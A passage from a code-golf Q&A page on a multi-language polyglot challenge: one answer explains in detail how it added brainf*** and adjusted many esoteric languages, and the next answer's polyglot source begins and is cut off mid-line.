online!](https://tio.run/nexus/bash#lVnJdttIsl0Lv1CbNEiLAEFMpC0PIGjJtlzHVa4qP8v2e8ckJYFAkoSFgQWAEjWe3nafXvS@N2/Z/9Hb/or@keobCU6aXF2wCCQyIyMiYw74twpd7H0anY6itGAFzwsWZOExzwz28pRte2H@uNmSJAGVpcHUD5MRK8achclkWrBhGPFc8r2CddhkjsWgAauwjHtBCSYN04zRFhYfRSxk/mTCBpE3NnyA5WlMSwXPJhnHPWcJ5wHLJ9wPh6EvSDA@K3iSh2mSGyz0j9hJGEUs4BE2rOj6DSBj03xtqqRiSEEqMVz@5AaXy7cqB0zCFyflEy8TJ03ZRBx7ceCTzJtMwKRUYXtgvAhjnrOwqOWMe3lI4sOWnCeBENJkKdiUecn6Kdlx6DEP/E4zgTvnWYHjGQIvG/OMA6VHxEeZFzPlJAsLiIBkuMPecy9jHzPOVVCB7HnuexPwcY0kiKVEoaCDGEJH7XZt95c3Neiq3GF4k0KqZK2P//OD5DHDZdUDBz9Xlh1p9@fX7LzaozG4ADLoc5IpnsrcK5abvR7Hb2YPzFF2KQGrBKlEzEwnhQnMXlaAvdVIP24ak2iNLGvf0MSa/ZRQAXTB3ibsc0Ocy59mGQcXK5F6RzhylCYjSBNHzaYJSSNhWxYU4KdJkDcYP4bM0qTUUHoi5PtxHEJlOSnEG0A8nk@SL21fiBPWD8uby3NBN0@jqYDDzrwg84NMsJUwvh2yz2zohRFtwTqhKrnOeD6NCtozTQLSexwmPDDYgg0/DQgoTo9BzgNSMQF3idecTDAFYKghFUelpX//7e/BaAQ8O76fZsHcWD@zIPWnMRj2BLMeDJHMNU28SLAFuAZRL7eDwLEXhYFXEPnkdE5CMCGonqTTKGApCGYnIRxr7B3DGYdD7he8NPF0WoDHBou9ozI0hKXd4uCxN4BiBQFBWxxbZ9uvoCWflwajx9Ni@JTpk11Wy8195cVz5cWDHgdvqqHWq6Y5cmBtRl1M4a32LcP5vLPSp0Tms8OG/IRFXjKaeiMcMU2wwfN9PinmsoWM8gLSu@kgYlKfe7uRj6Xq9k3KwurncWCNBtll6Ylz3/VIIH4ax1CGHkH/zMtGQkcsCDNIMjq9SR0AxzeIy4cEco2BQ/keFhYhCxbOZ9yfFlAEb7CTceiP2YngLilVWfrNTfKYWqcOY9SHS9LEjN3ZbEqGuZwiNu5FoZOib@NBPCBUnWsTwibWJ8oDIibvUT6AES8CMDnJKkkszw5h/EDhJeO/TiFc@Go4SgjES5bBe82@wzypweHDPISEKAyHWPn49hfy6v/lZSaCjMqItO6SKfISts/DLC0sBCZxf5wyPWG1OQ@KLKLiV7Bl5pkvBvpaKpBVA9JSSGpiaYHoa5lYb4ZF1rkNJ0jWGqwry/0GIlGUQ93JNIrwMk2EPyhcPYdd@DzPDRg33NagnALuZI2rl9cBi3GWnjB@qTq1u8gJhXzEmd8h@rJ3IQJnOkSsXuVwkfFnlK16kjw5LcZp0rpuvPJqpVmmjc9m7MERJ6d3O7S8jkps@ClMjlLSvBkvRgeWYT@@hgIVx@2dwzAfi9s10Fts3V4Ru/N4MBS3OwASMq0b8hILcZqkJXFIKEw884N4GHDQuzi47gfXyL/kUNWI689a5iBMzAEf3gf55uXLtwJmOBiE9wFBDFRYLZ53gGXTwV1SGnj5@FacZNfk/HGaFZEemAU9@b/@FEDet7Ux9k5zpNKj5eAg4SekGX14r3LmW@lF3O5W5NdphDLrd3D4HqVPL1oO7sb1nH3gsHakt0RUV@A0iuCOEBkCxm1zhidE04AvnncjFTK8Hm7L3UkY67DlLcMSCsQrpZAJ1cL3YLmRM0o0VHVkUeoFZlkHhnyl0VL2fOaN0uTUXAtIRjb4L1hdhHW2KvyK8bSYlneq9n5Pd@GEft9ywTmk9Xjnpb07f9wDDya27rPd0m0yRBf9TeQdmQMaHgwxvPuo5WGycITScvG8D4znIvDogzQ90styPjeRaVHwTDyfC@2tXu@0q5@QrSNU9Hs/f9p7/00DExSBLYvK@53o3iY@slhS/D4miCEStz9imcJQfC@CebZK46SGTF@TY3hD8pE3OKUOYvzHjYyojjSN6emq8F/1e5PJ/Zt8/@5NZUco9vkpCln@e2kJuSWMcdxmsDa812jCVEfCSnLy1CwvLW04hYBubRBJ9INoWpa1IjqWstfCXJjNa@t82b5WVqss8VDyIevSeFH9OGX5nY9F1Y4qO0C4@JSEot5Bl1AWmw02QAUjQvM//xHMm5kRL3IWhzmK9VFC7TcqynF68qKkO6e@g64YdRShgPlFZUGkv9ph@UlY@OOyhUHh8OnNx6dUIg344iMAXt5TmFhjojw2loZgAQ2IKIhLZoKUl6Y7p7vctTiTj2YsTthJGBTj3GB7IfoJSCtbVtbgJCOwpMhSMv0Ge8sCTn4h6rmvU5QsETxWVJHEyT//wXwvFwUxkIFrjBfkRRu4RpHBsG3R0qP1moLrBZIznqVzEIVkjMJlComcwvF4Oa8yf@xRQUMfWPRFJ0Rkym7o1c4e09EK0UcMaoyccKhUdz58/7lr9dF3xyaSqEmFnJCb/FB/Yudygy1AnEuO0m992cLyarXG5OpMnh@LGmbRHy5tqrQ3ptBYqGvRwsSi1xZmx09ECwPRorWmuoyaWNTNeYFXVaBWkHVjlMb6XsEe0xceDlFgVHbljL6ZgJIAZdUZu2BjMhLdZ/ZjC2@lJCLqCGN3Veys15fmaz6Yiqh83DSaLVeco3rgtjtilPEgpbaxu98L@ma@EEevN3toNWckr02TvGX359fnVaNjXVzk3qksX9bUtY9AuzM4MoyBmnHRTEv0YYhElU6Law0ejH9ctiLoT5b6zZdtBbE0JOuMcE5qkkUqyOmgjIRpsJ0ohzUFAcQ0OC1IujCrspNYthNyhSXG0tUbTJZufc2ivbkw2PkXDrTdWSZ4GKOsKh0fihH@dSL6e9glPNowDOnEJxUIFHe15j1u/vtvfy/b8V6B8Z/n4yHGfy3H@yap1LzVo5cHuSW/tbQYXguD85PfwQUDsf@/g4kE47@U427P0q/6d30quMEGEVzmyo/pEU/ybzTCekEQ4dl6SxzOd6@1xIspOJrSvkZdLbv1lU7lqi2DxgqvL92qsdaJLnLaksT6zttHW1gnRDsv8pAY6OsboF7BQ8LiOdv@kScJP2UKXCT2slPmTZH5MrWx@PLbWH6tua2R3dp5lKIQqJqOcD3nEsI/7LFe0Rv2EtKAc2p@Zxqmc65UI/fUNE1f7SjVsWtrrbqmVZO6Uk10W1U3N8ljL6u5Wz0wZEOeAUivRqoD31OqnltNnKrXVqqB26yLHXjVNPUcG65y0zivepdmdRNG0MBMxo/hfFyp5irFZcsw7Evw9zUNk6rZiL3JuSIzeUbf/oh8NdQ04sGoHhADV2ZvTwPnsKk9U8QJZ27X5ih2RCSp3bCq336rMPZItrdk1jLN456yXTGd3mvZfiS3neSRVDHrhy3mDT3vi9xxuk@e1BtbT@uNbadmN/D3q6o0m@oecLANXEyRKqenG05r68G2VDlsH7INqeJuzKRKu6@1u0ZH73e6UmWjTUFq9kGjq/u6o5XXO/zaer/bbrf7Hc3Qdd3o9AE@mT3sXF1daRvaVb0oiroBfK87s0@m3qZdqlT5IKB148NGp38hVbpgAn9WZMUzyz6yjzAKZ9bXmTW2xnZg2/Z7i3@yBjNrYKV2gDvHP2uGYWgNZ9bISqzEtmdWioE/s3wMhriPaGkIJF/xL7Qswk0kYiuyxWVZyv4B@LnYkIS0FYUfe5Ei271Zc9iUVQRT5ZkKu7BbkJjKVF2xKMA@UvftdlvZeqx2OspWUwVITemd4@9SpVtXUfvqJQbln1qrPNpSnmrP5v/cB2qFyF@4pmubzUfuzH3WbVe1bU3fxuV2tPb88aIiBGv0Teng4PXOx52DA9eumKZUMXqGbDfljTqpxhFpMY24EaUjxlrPJBkXwbkDPgqTDdpRxy/gQ@SAjTPGcvgyKrqaX9PtF3Lrqfxcbj2RpQocnjrINvXaqTHuSOTi9K1EUWGWhENRDyuHvVrdPKd6UTlTnUuzXjs8lKo1gqsJYnorfZRWqtWq1O7ILfkXo73RoXnJpf@uQEWAF2JRMFmx@hURpZo4m9Lrvtl51bDbeqUpBnufXlbo7fHqtYnXFr2@2/1@98Pu7v817Pfvdnf2dr9/@3n30/tyDH69TqcjVTrNJwZyboWZT35IruzH6QWqrcrT74LRKGx@d7hxYV9sVU2zVms@ZsytlJZgP1EZJLt/sH/wbhcTSYBjnD3om5fN1oNtCMI0vzSbzWfPnsnNrd9M81txHqvLIIgmIMun8V1RcCcLf/IoRyfLSIjBT1ME3aVeGCkmCgekmWtzpbLWp8R/xWBupUEaoGj1G6JwYHXq4rt9lZ2L8igcMoVWkcnssraiCyXQNEuY5UglELV6znIIKmRIzCUAmqQoqISu7bCwTcjwRPCcU6BrsUNzaRjxRBFchH3VWcIsOelg9xova/s1rQS/LNkqz@PHQXnscm35CvZiahZ8Zb5bvQGAehUwtZ5Vmx/zvzkGsreyxNBgf/gYN/YjT6iLMwkWVovz@ZUqLqV60YgdiY5dnzjSj4qvnlP@cq7izU1/f9KN@44auwU9NS12LqUjJSxB6oUbu7rtTMCsU3Q1Ley7sfqjMhHMx64FYNAmzLl6vtR04s7VlauNs26iXyX9xptuotn9xrRR/@KeNTzXaszwg9gaUeNXCG8hSqVwz7TE8dr4USq9JomJm2uec22KthwpkXvW9fqupToRNmraGxwGfObdSNP6KohHWLy90Yk2Nz0t6sycSNdVgtpvvXjTLTDoay69P1e89uzFWXeK/c8VPF2QiVQwj33XdQB84M@BjEv1rVgveZwRezOwF7tu/cuL@pe6@@DBWXemx/1GKf7n1krxxPyMmF@3EaX@Zd2whEhED6HID8PnD416zuQGrA9CbkzWdpYc1r9gZbLyhsv/AA "Bash – TIO Nexus") VIP Score (Versatile Integer Printer): 0.01329 ## Rundown This program prints **41** in brainf\*\*\*, **40** in Minimal-2D, **39** in CoffeeScript, **38** in C, **37** in C++, **36** in Labyrinth, **35** in INTERCAL, **34** in Rail, **33** in Incident, **32** in Whirl, **31** in Modular SNUSP, **30** in Whitespace, **29** in Trigger, **28** in Brain-Flak, **27** in Perl 6, **26** in 05AB1E, **25** in Pip, **24** in Thutu, **23** in Hexagony, **22** in Underload, **21** in Nim, **20** in Prelude, **19** in Reng, **18** in Cardinal, **17** in Julia, **16** in Pyth, **15** in Haystack, **14** in Turtlèd, **13** in Ruby, **12** in Fission, **11** in Befunge-98, **10** in Befunge-93, **9** in Perl 5, **8** in Retina, **7** in Japt, **6** in SMBF, **5** in Python 2, **4** in ><>, **3** in Minkolang, **2** in V/Vim, and **1** in Python 3. ## Verification Most of the languages are tested by the test driver shown above. You can test Reng [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/) and Modular SNUSP [here](http://www.quirkster.com/iano/snusp/snusp-js.html); they output 19 and 31 respectively, as required. The Test Driver has been updated to include the Tokenizer, finally. All the C code is stored as an argument from the Bash Script’s perspective. I also changed the output to wrap horizontally with a trailing space after each token instead of outputting vertically. This was just my preference, to make it match the Whitespace output. But anyone else can change it if they feel like it’s too confusing. I also made a Test Driver adjustment to handle column spacing for Turtlèd’s UFT8 char in the rundown. That misalignment was driving me nuts! The “fix” is pretty hack-ish since it just looks for an è and changes the column width for that case, but it gets the job done. ## Explanation First off, I want to say how awesome @SnoringFrog’s [Versatile Integer Printer](https://codegolf.stackexchange.com/questions/65641/the-versatile-integer-printer) Score Rundown code snippet from the last post was. I’ve been calculating answers before posting for a while, and this has re-inspired me keep it small. I think we can beat @sp3000’s answer eventually. So I started working on this answer by trying to golf down what I could and I was pretty successful. I even had an answer in a different language with a total byte count smaller than #40. But as I tried to golf down Minimal-2D, I had to learn BF so I could better work with its derivatives and in the process I found @Primo’s record breaking [Hello, World!](https://codegolf.stackexchange.com/questions/55422/hello-world/68494#68494). I fell in love the elegance. Minimal-2D, it turned out, was not efficient enough to utilize the tape initializing technique used by @Primo, but I’m of the opinion now that it would probably be too byte heavy anyways. We are only trying to print an integer after all. But @Primo did send me down the path to learning how to multiply in BF, which I brought to the Minimal-2D’s code. Then after all this, I re-read @SnoringFrog’s comment about how to include BF and realized that not only could I do it, but I could use much of the Minimal-2D code I had golfed down in the BF answer. So I dug in to answer with BF, and here we are. One more thing before I get into the details. There were a couple changes I made for non-golf reasons. First, I moved the bulk of the code @SnoringFrog added to just below the 2D languages in the top several rows. To me, it is a long term strategic move to prevent 2D-langs from traversing the center of the polyglot in order to prevent future bugs where possible. The byte hit was low for this move, so I went for it. Second, during the various re-factors I learned that the Begunges and Minkolang output a trailing space after numeric outputs and that this was the cause of the null bytes we’ve been seeing in the Test Driver for these languages. I fixed these by outputting the stack’s value as an ascii code (which did not include the trailing space feature), instead of the value directly. There was a small byte hit for this change as well, but now the Test Driver’s output is so uniform. How could I not? **SM/BF** Let’s quickly go over the basics. These are the only valid commands for SMBF and BF: ``` > Move the pointer to the right < Move the pointer to the left + Increment the memory cell under the pointer - Decrement the memory cell under the pointer . Output the character signified by the cell at the pointer , Input a character and store it in the cell at the pointer [ Jump past the matching ] if the cell under the pointer is 0 ] Jump back to the matching [ if the cell under the pointer is nonzero ``` Both languages have a memory tape where values are stored and changed. SMBF’s only difference is that whatever code is being executed is also stored on the memory tape to the left of the starting point. As @SnoringFrog pointed out, getting SMBF and BF to produce different results hinges on moving the memory pointer to the left of the origin. In Tio’s BF interpreter, the memory pointer is capable of moving left of the origin and will find 0’s instead of the Polyglot’s ascii codes that SMBF sees. [Here](https://tio.run/nexus/smbf#@68NB1wkMPVs9Oz0HP7/BwA)’s an example that can be run in both SMBF and BF to exemplify the difference. At the start of the polyglot, the Befunges require the `>` on the second row to run to completion and Perl6 requires that every `>` be preceded by a `<`. So SM/BF start with `<>` to leave the memory pointer at the origin, then hit a `[` which jumps some offensive characters for both languages to the `]` on the 6th row. Next, we increment the origin memory cell for both languages and move the memory pointer to the left with `+<`. (For conversational convention, we’ll call the origin memory cell as cell 0, cells to the right of the origin 1, 2, ... And cells to the left -1,-2, …). Cell -1 contains the asci code of the last character in the polyglot in SMBF and 0 in BF, so when the next `[` is encountered, only BF jumps to the next `]` while SMBF passes into the code. As SMBF traverses `[.>-]` it prints the 6 found at the end of the polyglot and then moves the memory pointer back to cell 0, setting its value back to zero to exit the `]`. To review, the tapes at this pint are: SMBF’s negative cells hold the polyglot, and it’s 0 and positive cells hold zero. BF’s negative and positive cells hold zero while it’s origin cell holds 1. Next the `>` moves SMBF to cell 1 and BF back to cell 0 allowing BF to enter it’s private code block: `[<+++++[>++++++++++<-][<<<]>+.---.>]` (I’ve removed the non-BF characters from this). Here, we move back to cell -1 and initialize our loop control variable (cell -1) to a value of 5. Then we enter the loop where we add 10 to cell 0 and decrement cell -1 five times before exiting the loop where we will be pointing at cell -1 with a value of 0. Next we encounter `[<<<]` while pointing at a zero, so BF doesn’t pass through this. The purpose here is to balance a number of `>`’s with preceding `<`’s so Perl6 doesn’t error out. At this point cell 0 is valued at 51. The ascii value of 4 is 52, so we move the pointer to cell 0 add 1, then print the value. And finally, we decrement cell 0 back to the ascii character 1 and print again before setting the memory pointer to cell 1 (value 0) to exit past the `]`. SMBF and BF both hit the last `[` on line 8 next while both are resting on a 0 value. So both jump past the remaining Minimal-2D code until the `]` is encountered on line 11. But this is short lived because line 12 starts with another `[` which takes both languages to almost the end of the polyglot where no further instructions are encountered. ## Refactors **Minimal-2D** Minimal-2D’s re-write was mostly to save some bytes in a fashion similar to BF’s multiplication trick. Minimal-2D however doesn’t have the `[` and `]` characters for loop control. Instead it has these commands: ``` / Skips next instruction if the data pointer is set to 0. U Tells the program to switch to the up direction of processing instructions. D Tells the program to switch to the down direction of processing instructions. L Tells the program to switch to the left direction of processing instructions. R Tells the program to switch to the right direction of processing instructions. ``` These can be used to produce the same logic structure, albeit in a 2D manor, as that of BF. For example, BF’s `++++++[>++++++<-]>.` is equivalent to [this](https://tio.run/nexus/minimal-2d#@68NBvouCmCg7xNkp8cFYSsEQeVCQ7n@/wcA) in Minimal-2D. [Here](https://tio.run/nexus/minimal-2d#@6@MCVy4gESQNghEu9hpQ4APSNCOy8VOOVRf1wYkoMkVpK2nCwR6Qf//AwA) is a simplified version of Minimal-2D’s code in the polyglot, with all the extraneous code removed and all the place holding characters replaced with `#`. ``` ###################D ###R+++++[D>+++++++L ###> D>#U/-<+++L) R+.----.R ``` The `D` in line 1 sends the instruction pointer down to the `L` in line 8 of the polyglot which sends the pointer to the left. Here we set the loop control variable (cell 0) to 7, move the memory pointer to cell 1 and enter a loop. In loop, we add 3 to cell 1, decrement cell 0 then check if cell 0’s value is zero yet. If not, we add another 8 to cell 1 then decrement and check again. The result of this loop is cell 1’s value is set to 51 at the end of the loop (6\*8+3). We exit the loop by hopping the `U`, moving the memory pointer to cell 1 and going down then to the right on line 11 of the polyglot. And finally, we increment up to the ascii value for 4 then decrement down to the ascii value for 0 before running off to the right to end the program. **Retina** Retina had a lot of requirements that were difficult to work with for all the BF derivatives. It doesn’t like consecutive `+`’s or mismatched `()` or `[]`. But these are really just requirements for every other line, so a lot of the work for BF, SMBF and Minimal-2D revolved around putting the bulk of the code on even numbered lines. The one byte committed solely to Retina though is the `|` at the end of line 11. To quote @ais523 “most regexes ending with | will match anything”. Without this, Retina returns 0. Why this fixes it, I don’t know. I haven’t had to dig into Retina too much, probably because I’ve been avoiding the long line. But like Prelude, I’ve found I don’t need to understand it as much as I need to understand how to debug it, which in this case mostly consisted of deleting lines (in multiples of 2) until I’ve found the line that’s causing it to break. I guessed at this fix based on @ais523’s comment, and was rewarded. I’m just too cool for school I guess. **Cardinal** I happened to like @SnoringFrog’s placement of Minimal-2D relative to Cardinal’s code. It’s a good location considering Cardinal doesn’t upset Retina, and it seemed to allow some interweaving with Minimal-2D. So when I set out to transplant Minimal-2D up to 2D land, I brought Cardinal along for the ride. There were a couple cosmetic changes to Cardinal though. First, I threw a `>` near the beginning of its statement `#p x%>~~~+ +~*ttt*.x` for Minimal-2D to change memory pointers within its loop/ Second, I shifted everything one character to the right to give Minimal-2D room to exit it’s loop gracefully. The `p` in this sting is for this character padding. **Befunge/98** The Befunges are actually where I started out trying to golf down the polyglot, since the C++ refactor changed all the other 2D lang code, except this one. In trying to learn WTF was going on in this code, I found this in the Begunge documentation: > > The `.` command will pop a value off the stack and output it as a decimal integer, **followed by a space**, somewhat like Forth. `,` will pop a value, interpret it as the ASCII value of a character, and output that character (**not followed by a space.**) > > > Holy moley! We can clean up the null bytes on the output. After this, it was all just a matter of figuring out how to input the larger asci values, and segregating the code. Befunge-98 had a jump code `;` telling it to skip over the `[77*,68*,@` in `;[77*,68*,@;'1,'1,q`, which gave us the segregation. Befunge-98 also had a command (`'`) to take the ascii code of the next character. So, `'1,` takes the code asci code for the character `1`, puts it on the stack and then prints the ascii character for the top value on the stack with `,`. Just gotta do this twice to print 11 and drop a `q` to quit out gracefully. Befunge proper is a little less convenient, but only just. Here we have to perform a calculation to put the desired code on the stack. Fortunately, our codes were easily multiplied with 7\*7 and 6\*8 before the same output command`,`. Then we quit out of Befunge with `@` before its older brother’s code contaminated the output. **Minkolang** After finding a fix for the Befunge’s trailing spaces I got pretty hyped up on the idea of finding a Minkolang fix too and Minkolang’s documentation said that output command that had been used up until this point worked in the same way as the Befunge Interpreter. `O` happened to be documented as another output command, that wasn’t described as sharing this Begunge-ness, so I just took a shot in the dark and tried outputting the string `"3"`. Flawless Victory. **><>** One of the first things I looked at when moving the Minimal-2D code was verifying that I could move ><> along with it. If I was going to deal with 2D polyglot transversalism, I was going to deal with all transgressions. I basically luck sacked my way into the solution of putting `;n4` at the end of line 1 and moving the `\D` further back in line 1. BTW, I didn’t know that ><> could be directed down before answer 40 since it’s been so well contained. I’d like to think this could be used later to diverge ><> from another similar language. **Perl6** I’ve talked about some of Perl6’s `<>` balancing issues elsewhere in this answer, so I’m not going to go over it again. But I do want to point out that I moved `#>27.say#` to the second to last line. This doesn’t have a functional purpose in this answer. I actually made this move to satisfy a different answer that I ended up not using this round. I decided to just leave it since I plan to post that answer at my next opportunity and I didn’t want to bother undoing and re-doing it. ## Bug Fixes **05as1e** 05as1e definitely didn’t like the new Begunge code as much as the old version. I’d suppose it’s the `,`s since that’s the only revolutionary character. In any event, I had to move the `"` further back in line two to hide the offensive commands, and I knew that the `"` had to go prior to the Befunge code path since `"` was a yes-op in both languages. (I can just make up terms like yes-op right?) Line 2’s 2-dimentionality is pretty rigid, but I was able to displace the `<` prior to Begunge’s code path with the `"`. The `<` however was a requirement of Perl6. (It has to have a `<` preceding all `>`s.) I was able to drop the `<` in line one at a location divined by instinct and foreknowledge resolving 05ab1e and Perl6’s disagreement. **Whirl** The Befunge changes on line 2 added an extra `1` to the polyglot prior to the Incident/Whirl line. This extra `1` caused Whirl to start off pointing to the wrong instructions on the wheel. The very first `1` in the C/C++’s preprocessor directive was only a line number reference in the code, and this could just as easily be any other line number, so I arbitrarily changed this to `4` to satisfy Whirl. **Incident** The detokenizing string at the end of the polyglot is well known at this point, so I won’t go into it. I removed from the string what I could and added the new tokens that were required. There are 2 detokenizing characters that are not in this string though that I should point out. First, the second `R` in `#R+.----.R >]|` is needed here because it’s a Fusion starting point, and it was safer on this line because there was already a Fusion starting point heading in the same direction. Second, the `x` in `#= x` is to remove a token involved in a `␉␊#` pattern, which has become more common. **Others** Hexagony, Whitespace, and Prelude all had the usual minor adjustments, but nothing special worth talking about. ## Final Thoughts That’s all I’ve got for this answer. For those looking for a starting point on the next answer, I’d suggest evil. It seems workable, although I haven’t looked at it too closely, but I suspect it would not be too hard to integrate. I know it has a jump command that should help skip past the bulk of the polyglot. Good luck. [Answer] # 183. [Intel 8080](https://en.wikipedia.org/wiki/Intel_8080) boot image (ZEMU), 9870 bytes ``` #16 "?63(o+?50;+'51;' # #@ " /*"r"{\D-v e-'[fa5.q]PkPPX)\( 9 '#CO"14"^ 92 7 222222222222222222222222 ##*/ #/*1&7//```"` [>.>.] )[-'][(7 >77*,68*,@'_ 7 )(22)S / \iiipsddpsdoh#####(#######?? #### ## ###### #### ###### # #### ####### #### ###### # #### ####### a5# \7aa*+42@n; 7 999993 1 7 3 1 8 1 1 55 EEEEEδΘΔΔΔΘΔΘλa k zzzzkf kf k zzzzzd kf k zzzzza kf bfz coding=utf8 p''53'S^' ! 1>?7ДOq#t#>2/Wr#t#t#q#68#r#t#t#68#q#63#r#t#t#6v#>#</Wr#6}#y/===Wr#7ЯOq#>J7Д/Wr#y<Wr#>5/Wr#t#t#6y#>-=/Wr#6|#>6/Wr122! 1退 #>x#z#111#y#y#y#_#0111118&1& 1111/"78"oo@ xxxxxxxxxxx /112\ ##### ####### # # ##### h#115# o# ##### #### ### #### # # ##### # ##### #### ### #### # # ##### # # # 36!@`D e ++++++::@ L R.----._ x-----x ########8=,_## ### ###### ######## #### ##### ####### ##### ### # # #### ### ##### ####### ##### ### # # #### ### ##### # #comment -[af] xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx # ########## ### ## ##### ## #### ## # ##### ## ##### #### ##### ## # ## ## #### ## ##### #### ##### ## # ## ## #### #~==RtRtRtMbMbMbPSPSPS # ????!?!??!??!!!!???!?!??!!?!?!!!!!?!!!!?????!????????????????????! #[#[]]QhQhQhQrQrQrHnHnHnbqbqbqLzLzLzQtQtQtTcTcTcRQRQRQ # #<<<#++R++ ++++++++++++++++++++++++++++++++++++++++++U+++.._+++++++._ # ############################################################################## 4O6O@ #-]+-}}[.^x+;;+;;+;;+<>;;+;;+;;+;;;;;;+;;+;;.._]}--<^>++[+++++[>+++++++<-]>._ ++++._+++._^<]+-+<[<<._>>>-]^>[<+++++[>++++++++++<-]>@@+.---@._+>][[ #{ #= #* #cs #2""/* #9999 9 9 #9 999 99 9999 9 #9 # 9 9999 #`<`(+?+?0l0v01k1kMoOMoOMoOMoOMOOx0l0ix0jor0h0h1d111 0eU0y0yx0moO1d0y0e0e00m1d0i0fx0g0n0n11yxMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOMoOmOotMOo0moo0n0tx0t0moO0f0t0gOOM0g0f0h0j0j0i000x1k1x0vx0v0l11110000011100^_)\\ [ "`e```.1'.0'.6''i]56pq\{}26q[puts 59][exit]" ,'_\['];#/s\\/;print"24"; exit}}__DATA__/ ###x<$+@+-@@@@=>+<@@@=>+<?#d>;?\:-._++._++++._#/<?\>3-++._6+---2._#</++++++++++++++++++++++++++++++++++++++++++++++++._++._++++++.>!\ ' wWWWwWWWWwvwWWwWWWwvwWWWwWWWW\WWWWwWWWWwWWWWW/WW\wWWWWWWWWwwwwvwWW/WwWWWWwvwWWwWWWwvwWWwWWWwvwWWwWWW ho ho ho ho ho ho ho ho ho ho ho ho ho ho ho ho ho ho ho ho ho ho ho ho ho ho ho ho ho ho dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO dO MU ([]) ({}<(((((()()())){}{})){}{})>)(({})){}{(<(<()>)({})({}<{}>({}){})>){({}[()])}}({}){}({}()<()()()>) (<><()>){({}[()])}{ # {((((((\'; a=$(printf \\x00);b=$(echo -n $a|wc -c);case $b[1] in 1*)echo 54;;4*)echo 78;;8*)echo 166;;*1*)echo 50;;*)echo 58;;esac;exit;#)'; print(( eval("1\x2f 2")and(9)or 13<< (65 )>>65or 68)-(0and eval("\"ppp\".bytes.class==Array and(4)or(95==\"ar_\"[2]and 5-96 or-93)"))^1<<(65)>>62) or"'x"or'wWW s'#}#(prin 45)(bye)46(8+9+9+9+9+=!)((("3'3)))"'a'[[@*3*74[?]* *]* * *(<\>]xxxxxxxxxxxxxxxxxxxxxxxx)'#\\ __DATA__=1 # ###;{a=1}={a:null};console.log a&&39||180 # \\ """" # # \ =begin #p :1*23!/5x%6E0 !|*****[[[828+*+@+*99]]]*****|! ;set print'-';print 89;exit#ss [mxf]-main=-[165]- ###jxf*#p 173#* p now 70 dollar off! p has been selling out worldwide! #PLACET,2<- #2FAC,2SUB#1<- #52FAC,2SUB#2<- #32FACREADOUT,2PLEASEGIVEUPFACs>>> seeeemPaeue_ewuuweeee_eeeeeeCisajjapp_ppppxf⠆⠄⡒⡆⡘😆😨😒😨💬95💬👥➡😻😹😸🙀🙀😹😼😿🙀🙀😼😼😸🙀🙀🙀🙀 👋🔢🌚🌝🌝🌚🌚🌚🌚🌚▲▲▲²²²²▲¡▼¡▲▲¡→ 밠밠따빠빠맣박다맣받다맣희맣희うんたんたんたんたんうんうんうんうんうんたんうんうんうんたんうんたんたんうんたんたんうんたんたんうんたんたんうんたんたんたんたんたんうんうんうんうんたんたんうんたんたんたんうんうんうんたんうんうんたんうんうんたんうんうんたんうんたんうんうんうんたんたんうんたんたんうんたんたんうんたんたんうんたんたんたんうんうん 😊♈💖 😇♈♈ 😊♉♈ 😇♈♈ 😇♈♉ 😇♈💜 😊♉♈ 😊📢♈ 😈♈💜 😊📢♈ 😇♉💞 😊📢♉⠀⢃⠛⠋ #-49,A,-1 # #-5,A,-1 # #6,A,-1 # 1 ! ! 2 ! ! 1 !! 1 x* 53 ++-------+ 1 x*|$0011 \| 51 +|/1000 /| 1 x*|\ 0011\| 34 +|/01 00/| 15 +|\ 0011\| R"12"R _* ? ?@ _ ! 1 *|@ 0110/| @ %"18" ?@ ? 1 | +| + * 1 !+-------+--- ? ! ? 1 ! <``=> ? @ ? < < << < < < B= ===== =>8 = , 8= > B = = = == = = > 8 = D B+ += D x xxx x ` ` = > 8 = > x ~ B = = = = > ~ B + = D+ ~ 8 = >x x x x x x xx x x x x+ xx x + + + + + <> x x xx xx +++ + e$P+++++*D*+++1++1E!s x+ +x +x x + + + + 8=+, _ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + # + + + #+ + ++ + + + # + + + +# * + *+* # *************************************************+ # + + # + + + + * *****+ # + + # + + * * +***** # + (printout t 164 ) (exit ) #cepp MsgBox (0,"",169 ) #cs Yo::=~147 ::= You can see an x here.<<<< >{-<<<<< > 176 >> Output 1 >SET x TO 120. [0]{472454523665721469465830106052219449897} @,-1,:*b5<>␋␋␋␋␋␋␋␋␋␋␋␋␋␋␋␋␋␋␌␋␋␋␋␋␋␋␋␋␋␋␋␋␋␋␋␋␋␋␋␋␌␋␋␋␋␋␋␋␋␋␋␋␋␋␋␋␋␋␋␋␋␋␋␋␋␋ >X x. PPQ-} >x--/2 > =157;y=146--/2 >main=print y{-ss s \begin{code} {-x ␉␉␉␉ ␉ ␉ -} open import IO;main = run(putStr"159" ) \end{code} ppppppppppppp out &49 &1 out &56 &1 out &50 &1 Take Northern Line to Tooting Bec Take Northern Line to Charing Cross Take Northern Line to Charing Cross Take Northern Line to Bank Take District Line to Hammersmith Take District Line to Upminster Take District Line to Hammersmith Take District Line to Upminster Take District Line to Embankment Take Bakerloo Line to Embankment 7 UP Take Northern Line to Mornington Crescent 7 RIGHT 7 RIGHT 7 TEACH 6 BOND 6 BOND 6 BOND 5 RIGHT 5 LEFT 5 RIGHT 7 BOND 7 TEACH 5 TEACH 6 YELL 5 TEACH 6 YELL 6 YELL set ! 57,,...,,.,,..,,,,,,..,,,.$^ set ! 51. #"60"e.0,1,_ye do{--}gibe16"124"#8+*sizeString tnd xfmain=los*81''cagem x=4721en nd ogola=1ay $0C0 00 3cod/|puts_e More 91 of this How much is it red down one blue up red down one blue up red up one red right two blue up sss baa baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa bleeeeeeeeeeeeet bleeeeeeeeeeeeet bleeeeeeeeeet baaaa bleet bleeeeeeeeeet bleeet bleeeeeeeeeet wwWWWwWWWWWwWWWWWWWwWWWWWWWWppppp When this program starts: There is a scribe called x x is to write 179 */ #if 0 .int 2298589328,898451655,12,178790,1018168591,84934449,12597 #endif//* #1""//* #include<stdio.h> #define x(d) #d #define 